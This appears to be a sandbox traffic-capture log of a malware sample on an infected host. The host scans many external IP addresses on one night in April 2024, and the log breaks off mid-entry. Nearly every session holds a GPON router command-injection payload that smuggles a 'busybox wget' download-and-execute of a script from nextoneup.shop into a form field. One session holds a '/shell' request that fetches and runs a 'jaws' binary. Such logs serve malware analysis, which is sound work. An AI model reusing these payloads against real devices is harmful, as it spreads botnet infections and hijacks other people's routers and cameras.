Session ID	Source IP	Source Port	Destination IP	Destination Port
2512	192.168.2.13	46512	117.53.114.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404148102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2513	192.168.2.13	48914	123.1.1.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404170990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2514	192.168.2.13	42716	109.239.181.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404176950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2515	192.168.2.13	45332	37.146.78.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404212952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2516	192.168.2.13	34616	94.88.2.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404223919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2517	192.168.2.13	32938	117.194.255.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404258013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2518	192.168.2.13	33560	148.171.1.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404259920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2519	192.168.2.13	43588	2.111.92.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404282093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2520	192.168.2.13	43034	42.154.232.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404321909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2521	192.168.2.13	45844	148.147.214.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404324055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2522	192.168.2.13	36986	178.43.113.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404351950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2523	192.168.2.13	47232	178.115.223.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404376984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2524	192.168.2.13	43750	2.69.167.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404411077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2525	192.168.2.13	49530	79.15.29.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404445887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2526	192.168.2.13	50404	202.242.111.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404450893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2527	192.168.2.13	36190	123.200.178.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404453039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2528	192.168.2.13	53854	2.220.129.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404469967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2529	192.168.2.13	37894	123.130.172.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404479027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2530	192.168.2.13	42268	148.9.250.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404510021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2531	192.168.2.13	50552	123.214.212.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404514074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2532	192.168.2.13	52770	79.137.170.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404541016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2533	192.168.2.13	49294	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.638627052 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2534	192.168.2.13	33152	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.704615116 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2535	192.168.2.13	37554	103.182.211.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.984466076 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2536	192.168.2.13	49314	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.998105049 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:40Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2537	192.168.2.13	49672	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.295080900 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2538	192.168.2.13	33532	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.376795053 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:56Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2539	192.168.2.13	40976	148.137.51.67	443

Timestamp	Bytes transferred	Direction	Data
